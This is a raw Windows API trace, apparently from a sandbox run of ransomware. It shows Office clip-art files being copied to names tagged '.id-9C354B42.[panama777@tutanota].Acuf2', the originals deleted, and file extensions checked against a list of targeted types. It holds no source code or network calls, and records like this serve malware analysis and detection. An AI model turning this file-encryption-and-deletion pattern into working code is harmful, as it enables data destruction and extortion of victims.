	[0261.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.280] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.280] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0261.281] GetLastError () returned 0x0
	[0261.281] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x9dc, lpOverlapped=0x0) returned 1
	[0261.282] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x9e0, lpOverlapped=0x0) returned 1
	[0261.283] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.283] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.283] SetEndOfFile (hFile=0x33c) returned 1
	[0261.283] CloseHandle (hObject=0x33c) returned 1
	[0261.283] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.283] SetEndOfFile (hFile=0x358) returned 1
	[0261.285] CloseHandle (hObject=0x358) returned 1
	[0261.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 1
	[0261.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.286] lstrlenW (lpString=".doc") returned 4
	[0261.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.286] lstrlenW (lpString=".docx") returned 5
	[0261.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.286] lstrlenW (lpString=".pdf") returned 4
	[0261.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.286] lstrlenW (lpString=".xls") returned 4
	[0261.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.286] lstrlenW (lpString=".xlsx") returned 5
	[0261.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.286] lstrlenW (lpString=".ppt") returned 4
	[0261.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.286] lstrlenW (lpString=".zip") returned 4
	[0261.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.286] lstrlenW (lpString=".rar") returned 4
	[0261.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.286] lstrlenW (lpString=".bz2") returned 4
	[0261.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.287] lstrlenW (lpString=".7z") returned 3
	[0261.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.287] lstrlenW (lpString=".dbf") returned 4
	[0261.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.287] lstrlenW (lpString=".1cd") returned 4
	[0261.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.287] lstrlenW (lpString=".jpg") returned 4
	[0261.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.287] lstrlenW (lpString=".doc") returned 4
	[0261.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.287] lstrlenW (lpString=".docx") returned 5
	[0261.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.287] lstrlenW (lpString=".pdf") returned 4
	[0261.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.287] lstrlenW (lpString=".xls") returned 4
	[0261.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.287] lstrlenW (lpString=".xlsx") returned 5
	[0261.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.287] lstrlenW (lpString=".ppt") returned 4
	[0261.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.287] lstrlenW (lpString=".zip") returned 4
	[0261.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.287] lstrlenW (lpString=".rar") returned 4
	[0261.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.287] lstrlenW (lpString=".bz2") returned 4
	[0261.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.288] lstrlenW (lpString=".7z") returned 3
	[0261.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.288] lstrlenW (lpString=".dbf") returned 4
	[0261.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.288] lstrlenW (lpString=".1cd") returned 4
	[0261.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63
	[0261.288] lstrlenW (lpString=".jpg") returned 4
	[0261.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.288] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.288] lstrlenW (lpString="DD01586_.WMF") returned 12
	[0261.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.291] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2324) returned 1
	[0261.291] CloseHandle (hObject=0x358) returned 1
	[0261.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20
	[0261.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.291] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.291] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0261.292] GetLastError () returned 0x0
	[0261.292] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x914, lpOverlapped=0x0) returned 1
	[0261.293] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x920, lpOverlapped=0x0) returned 1
	[0261.294] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.294] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.294] SetEndOfFile (hFile=0x33c) returned 1
	[0261.294] CloseHandle (hObject=0x33c) returned 1
	[0261.294] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.294] SetEndOfFile (hFile=0x358) returned 1
	[0261.296] CloseHandle (hObject=0x358) returned 1
	[0261.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 1
	[0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.297] lstrlenW (lpString=".doc") returned 4
	[0261.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.297] lstrlenW (lpString=".docx") returned 5
	[0261.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.297] lstrlenW (lpString=".pdf") returned 4
	[0261.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.297] lstrlenW (lpString=".xls") returned 4
	[0261.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.297] lstrlenW (lpString=".xlsx") returned 5
	[0261.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.297] lstrlenW (lpString=".ppt") returned 4
	[0261.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.297] lstrlenW (lpString=".zip") returned 4
	[0261.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.297] lstrlenW (lpString=".rar") returned 4
	[0261.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.297] lstrlenW (lpString=".bz2") returned 4
	[0261.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.297] lstrlenW (lpString=".7z") returned 3
	[0261.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.297] lstrlenW (lpString=".dbf") returned 4
	[0261.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.297] lstrlenW (lpString=".1cd") returned 4
	[0261.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.297] lstrlenW (lpString=".jpg") returned 4
	[0261.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.298] lstrlenW (lpString=".doc") returned 4
	[0261.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.298] lstrlenW (lpString=".docx") returned 5
	[0261.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.298] lstrlenW (lpString=".pdf") returned 4
	[0261.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.298] lstrlenW (lpString=".xls") returned 4
	[0261.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.298] lstrlenW (lpString=".xlsx") returned 5
	[0261.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.298] lstrlenW (lpString=".ppt") returned 4
	[0261.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.298] lstrlenW (lpString=".zip") returned 4
	[0261.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.298] lstrlenW (lpString=".rar") returned 4
	[0261.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.298] lstrlenW (lpString=".bz2") returned 4
	[0261.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.298] lstrlenW (lpString=".7z") returned 3
	[0261.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.298] lstrlenW (lpString=".dbf") returned 4
	[0261.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.298] lstrlenW (lpString=".1cd") returned 4
	[0261.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63
	[0261.298] lstrlenW (lpString=".jpg") returned 4
	[0261.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.299] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.299] lstrlenW (lpString="DD01628_.WMF") returned 12
	[0261.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.299] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=19068) returned 1
	[0261.299] CloseHandle (hObject=0x358) returned 1
	[0261.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20
	[0261.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.299] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.299] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0261.300] GetLastError () returned 0x0
	[0261.300] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4a7c, lpOverlapped=0x0) returned 1
	[0261.302] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4a80, lpOverlapped=0x0) returned 1
	[0261.303] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.303] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.303] SetEndOfFile (hFile=0x33c) returned 1
	[0261.303] CloseHandle (hObject=0x33c) returned 1
	[0261.303] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.303] SetEndOfFile (hFile=0x358) returned 1
	[0261.305] CloseHandle (hObject=0x358) returned 1
	[0261.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 1
	[0261.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.306] lstrlenW (lpString=".doc") returned 4
	[0261.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.306] lstrlenW (lpString=".docx") returned 5
	[0261.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.306] lstrlenW (lpString=".pdf") returned 4
	[0261.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.306] lstrlenW (lpString=".xls") returned 4
	[0261.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.306] lstrlenW (lpString=".xlsx") returned 5
	[0261.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.306] lstrlenW (lpString=".ppt") returned 4
	[0261.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.306] lstrlenW (lpString=".zip") returned 4
	[0261.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.306] lstrlenW (lpString=".rar") returned 4
	[0261.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.306] lstrlenW (lpString=".bz2") returned 4
	[0261.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.306] lstrlenW (lpString=".7z") returned 3
	[0261.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.306] lstrlenW (lpString=".dbf") returned 4
	[0261.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.307] lstrlenW (lpString=".1cd") returned 4
	[0261.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.307] lstrlenW (lpString=".jpg") returned 4
	[0261.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.307] lstrlenW (lpString=".doc") returned 4
	[0261.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.307] lstrlenW (lpString=".docx") returned 5
	[0261.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.307] lstrlenW (lpString=".pdf") returned 4
	[0261.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.307] lstrlenW (lpString=".xls") returned 4
	[0261.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.307] lstrlenW (lpString=".xlsx") returned 5
	[0261.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.307] lstrlenW (lpString=".ppt") returned 4
	[0261.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.307] lstrlenW (lpString=".zip") returned 4
	[0261.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.307] lstrlenW (lpString=".rar") returned 4
	[0261.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.307] lstrlenW (lpString=".bz2") returned 4
	[0261.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.307] lstrlenW (lpString=".7z") returned 3
	[0261.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.307] lstrlenW (lpString=".dbf") returned 4
	[0261.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.308] lstrlenW (lpString=".1cd") returned 4
	[0261.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63
	[0261.308] lstrlenW (lpString=".jpg") returned 4
	[0261.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.308] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.308] lstrlenW (lpString="DD01629_.WMF") returned 12
	[0261.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.308] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=580) returned 1
	[0261.308] CloseHandle (hObject=0x358) returned 1
	[0261.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20
